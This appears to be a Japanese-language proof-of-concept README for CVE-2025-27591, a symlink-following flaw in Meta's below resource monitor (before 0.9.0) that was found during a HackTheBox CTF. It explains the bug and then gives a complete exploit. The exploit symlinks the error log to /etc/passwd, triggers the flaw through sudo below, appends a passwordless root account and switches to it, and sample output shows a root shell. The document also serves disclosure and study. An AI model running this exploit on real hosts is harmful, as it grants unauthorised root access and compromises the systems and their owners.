
below シンボリックリンク ローカル権限昇格| 項目 | 詳細 |
|---|---|
| CVE | CVE-2025-27591 |
| ソフトウェア | Meta below(システムリソースモニター) |
| 影響を受けるバージョン | < 0.9.0 |
| 脆弱性 | シンボリックリンクの追跡 → root として任意のファイルを上書き |
| 認証 | below への sudo アクセス権を持つローカルユーザー |
| 影響 | root へのローカル権限昇格 |
| 背景 | HackTheBox CTF 中に発見 |
below システムリソース監視ツール(Meta Platforms, Inc. 製)には、エラーログ機構に欠陥があります。sudo 経由で呼び出されると、対象パスがシンボリックリンクであるかどうかを事前にチェックせずに、/var/log/below/ にあるログファイルに 0666 のパーミッションを強制的に設定します。これにより、ローカルの攻撃者はログファイルを、root が書き込み可能な任意のファイルを指すシンボリックリンクと置き換え、制御された内容でそのファイルを実質的に上書きできます。
below < 0.9.0 のログコードは、root として実行されると、以下の操作を順番に実行します:
/var/log/below/error_root.logchmod(path, 0o666) を呼び出す — シンボリックリンクかどうかをチェックしないステップ 4 で、実行前にパスがシンボリックリンクに置き換えられていた場合、書き込みはシンボリックリンクのターゲットに対して行われます。
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid" が機能するのか無効な時刻文字列を渡すと、below がエラーメッセージをログに記録します。エラーパスは、ファイル(現在は攻撃者が仕掛けたシンボリックリンク)に対して盲目的に書き込むログコードに到達します。
chmod +x exploit.sh
./exploit.sh
前提条件: 現在のユーザーが
/usr/bin/belowを実行するためのsudo権限を持っている必要があります。
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
この脆弱性は below バージョン 0.9.0 で修正されました。この修正により、ログパスにおけるファイル操作の前にシンボリックリンクチェックが導入されています。